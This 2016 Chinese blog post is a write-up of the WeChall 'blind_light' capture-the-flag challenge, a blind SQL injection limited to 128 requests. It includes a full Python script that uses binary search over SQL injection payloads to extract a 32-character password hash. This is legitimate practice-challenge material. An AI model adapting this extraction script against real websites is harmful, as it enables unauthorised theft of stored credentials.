一个盲注(附盲注脚本)

这两天做这个Wechall的盲注，本来不想发Wechall的题解，但是这个题拖了我两天时间，发出来纪念下…………

题目链接

就是个简单的盲注，正误通过页面有无关键字确定。但是有请求次数限制，128次。

需要我猜的密码，长度是32，每一位组成元素有16种可能。也就是说，如果顺序查找，按算法复杂度O(n)算，一位最多可能跑16次，远超128次限制。所以考虑用二分法来猜，二分法算法复杂度O(logn)，刚好，每一位猜4次一定能猜出来，总共128次。

然后，因为主要限制是比较次数，所以猜一个字符时，只比较一次，即是否大于等于。

解题脚本如下：

  1 import requests
  2 import string
  3 
  4 url = "http://www.wechall.net/challenge/blind_light/index.php"
  5 cookies = {'WC': 'XXXXXX'}
  6 success_flag = "Welcome back, user. You would now be logged in"
  7 count = 0
  8 proxy = {
  9     'http': 'socks5://127.0.0.1:1080',
 10     'https': 'socks5://127.0.0.1:1080'
 11 }
 12 bit_list = list('0123456789ABCDEF')
 13 ac_dict = dict()
 14 
 15 
 16 def init_ac_dict():
 17     for i, bit in enumerate(bit_list):
 18         ac_dict[i] = 0
 19 
 20 
 21 def debug(msg):
 22     if debug_mode:
 23         print "[*]", msg
 24 
 25 
 26 def getdata_for_onebit(position, payload):
 27     '''
 28     payload like: 1' or mid(length(b.password),{position},1)>=char({ascii})#
 29     '''
 30     start_bit = 0
 31     end_bit = len(bit_list) - 1
 32 
 33     while end_bit >= start_bit:
 34         mid = start_bit + int(round((float(end_bit)-float(start_bit))/2))
 35         debug("start_bit: {}, end_bit: {}, mid: {}".format(
 36             start_bit, end_bit, mid))
 37 
 38         now_payload = payload.format(position=position, ascii=bit_list[mid])
 39         debug("Sending Payload: \""+now_payload+'"')
 40         while True:
 41             try:
 42                 rq = requests.post(url, data={
 43                                    'injection': now_payload, 'inject': 'inject'}, cookies=cookies, timeout=None, proxies=proxy)
 44             except Exception as e:
 45                 raise e
 46             else:
 47                 break
 48         if success_flag in rq.content:
 49             debug("Last Payload Success")
 50             if end_bit == mid:
 51                 start_bit = end_bit
 52                 break
 53             else:
 54                 start_bit = mid
 55         else:
 56             debug("Last Payload Error")
 57             if end_bit == mid:
 58                 break
 59             else:
 60                 end_bit = mid - 1
 61     debug(bit_list[start_bit])
 62     return bit_list[start_bit]
 63 
 64 
 65 def get_password_length():
 66     payload = "1' or mid(length(b.password),{position},1)>='{ascii}'#"
 67     bit_position = 1
 68     result = ""
 69     while bit_position <= 2:
 70         debug("Getting {}th bit".format(bit_position))
 71         temp = getdata_for_onebit(bit_position, payload)
 72         if temp is None:
 73             break
 74         else:
 75             result += temp
 76         bit_position += 1
 77     return result
 78 
 79 
 80 def get_password(length):
 81     payload = "1' or mid(b.password,{position},1)>='{ascii}'#"
 82     bit_position = 1
 83     result = ""
 84     while bit_position <= length:
 85         debug("Getting {}th bit".format(bit_position))
 86         temp = getdata_for_onebit(bit_position, payload)
 87         if temp is None:
 88             break
 89         else:
 90             result += temp
 91         bit_position += 1
 92     return result
 93 
 94 if __name__ == '__main__':
 95     debug_mode = True
 96     while True:
 97         password = get_password(32)
 98         rq = requests.post(url, data={
 99                            'thehash': password, 'mybutton': 'Enter'}, cookies=cookies, timeout=None, proxies=proxy)
100         if 'We are sorry but it took you' in rq.content or "Your answer is wrong" in rq.content:
101             print "[*] Not PASS", '.'*8, password
102             print rq.content
103             exit(998)
104             rq = requests.get(
105                 url+"?reset=me", cookies=cookies, timeout=None, proxies=proxy)
106         else:
107             print "[!] PASS", '.'*8, password
108             break

哎，其实主要是二分法老是写错。最开始我用的不是>=而是>，这样平均会多一次请求。

如果用>判断，要找的位置会大于等于左侧，小于等于右侧，所以最后可能需要多一次判断，看是左侧值还是右侧值。

但是用>=判断，要找的位置会大于等于左侧，小于右侧，少了一次判断。

哎，没想到连二分法都不会写了……发博客警示下自己……

posted @ 2016-10-13 14:39  tdifg  阅读(2040)  评论(0)  编辑  收藏  举报